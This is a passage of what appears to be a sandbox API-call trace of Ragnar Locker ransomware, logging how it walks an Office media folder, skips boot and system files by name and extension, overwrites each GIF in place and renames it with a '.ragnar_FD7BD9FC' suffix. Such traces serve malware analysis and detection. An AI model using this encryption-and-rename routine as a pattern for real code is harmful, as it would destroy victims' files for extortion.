returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF.ragnar_FD7BD9FC" [0098.100] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.101] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0098.101] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.101] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14530_.GIF" | out: lpString1="BD14530_.GIF") returned="BD14530_.GIF" [0098.101] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF") returned=".GIF" [0098.101] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.101] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="autorun.inf") returned 1 [0098.101] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="boot.ini") returned -1 [0098.101] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="bootfont.bin") returned -1 [0098.101] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="bootsect.bak") returned -1 [0098.101] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="bootmgr") returned -1 [0098.101] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="bootmgr.efi") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="desktop.ini") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="iconcache.db") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="ntldr") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="ntuser.dat") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="ntuser.ini") returned -1 [0098.102] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="thumbs.db") returned -1 [0098.102] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.102] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.102] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.102] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.102] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.102] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.102] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif")) returned 0x20 [0098.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.103] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=316) returned 1 [0098.103] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x133, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.103] GetProcessHeap () returned 0x580000 [0098.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.103] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.104] VirtualAlloc (lpAddress=0x0, dwSize=0x13c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.104] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.104] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.104] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x13c, lpOverlapped=0x0) returned 1 [0098.113] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.115] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13c, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.115] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x13c, lpOverlapped=0x0) returned 1 [0098.115] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.115] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.115] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x13c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.115] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.115] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.115] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.115] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.116] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.116] GetProcessHeap () returned 0x580000 [0098.116] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.116] CloseHandle (hObject=0x10c) returned 1 [0098.116] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" [0098.116] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.ragnar_FD7BD9FC" [0098.116] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.117] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0098.117] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.117] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14531_.GIF" | out: lpString1="BD14531_.GIF") returned="BD14531_.GIF" [0098.117] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF") returned=".GIF" [0098.117] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.117] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="autorun.inf") returned 1 [0098.117] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="boot.ini") returned -1 [0098.117] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="bootfont.bin") returned -1 [0098.117] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="bootsect.bak") returned -1 [0098.117] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="bootmgr") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="bootmgr.efi") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="desktop.ini") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="iconcache.db") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="ntldr") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="ntuser.dat") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="ntuser.ini") returned -1 [0098.118] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="thumbs.db") returned -1 [0098.119] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.119] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.119] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.119] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.119] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.119] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.119] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif")) returned 0x20 [0098.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.119] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=245) returned 1 [0098.120] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.120] GetProcessHeap () returned 0x580000 [0098.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.120] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.120] VirtualAlloc (lpAddress=0x0, dwSize=0xf5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.121] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.121] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.121] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf5, lpOverlapped=0x0) returned 1 [0098.121] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.121] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf5, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.121] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf5, lpOverlapped=0x0) returned 1 [0098.121] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.121] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.121] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.121] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.121] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.121] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.122] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.122] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.122] GetProcessHeap () returned 0x580000 [0098.122] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.122] CloseHandle (hObject=0x10c) returned 1 [0098.122] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" [0098.122] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF.ragnar_FD7BD9FC" [0098.122] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.123] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0098.123] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.123] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14532_.GIF" | out: lpString1="BD14532_.GIF") returned="BD14532_.GIF" [0098.123] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF") returned=".GIF" [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="autorun.inf") returned 1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="boot.ini") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="bootfont.bin") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="bootsect.bak") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="bootmgr") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="bootmgr.efi") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="desktop.ini") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="iconcache.db") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="ntldr") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="ntuser.dat") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="ntuser.ini") returned -1 [0098.123] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="thumbs.db") returned -1 [0098.123] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.123] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.123] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.123] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.123] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.123] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.123] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif")) returned 0x20 [0098.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.124] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=245) returned 1 [0098.124] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.124] GetProcessHeap () returned 0x580000 [0098.124] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.124] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.125] VirtualAlloc (lpAddress=0x0, dwSize=0xf5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.125] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.125] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.125] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf5, lpOverlapped=0x0) returned 1 [0098.125] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.125] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf5, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.125] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf5, lpOverlapped=0x0) returned 1 [0098.125] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.126] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.126] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.126] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.126] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.126] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.126] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.126] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.126] GetProcessHeap () returned 0x580000 [0098.126] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.126] CloseHandle (hObject=0x10c) returned 1 [0098.126] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" [0098.126] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF.ragnar_FD7BD9FC" [0098.126] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 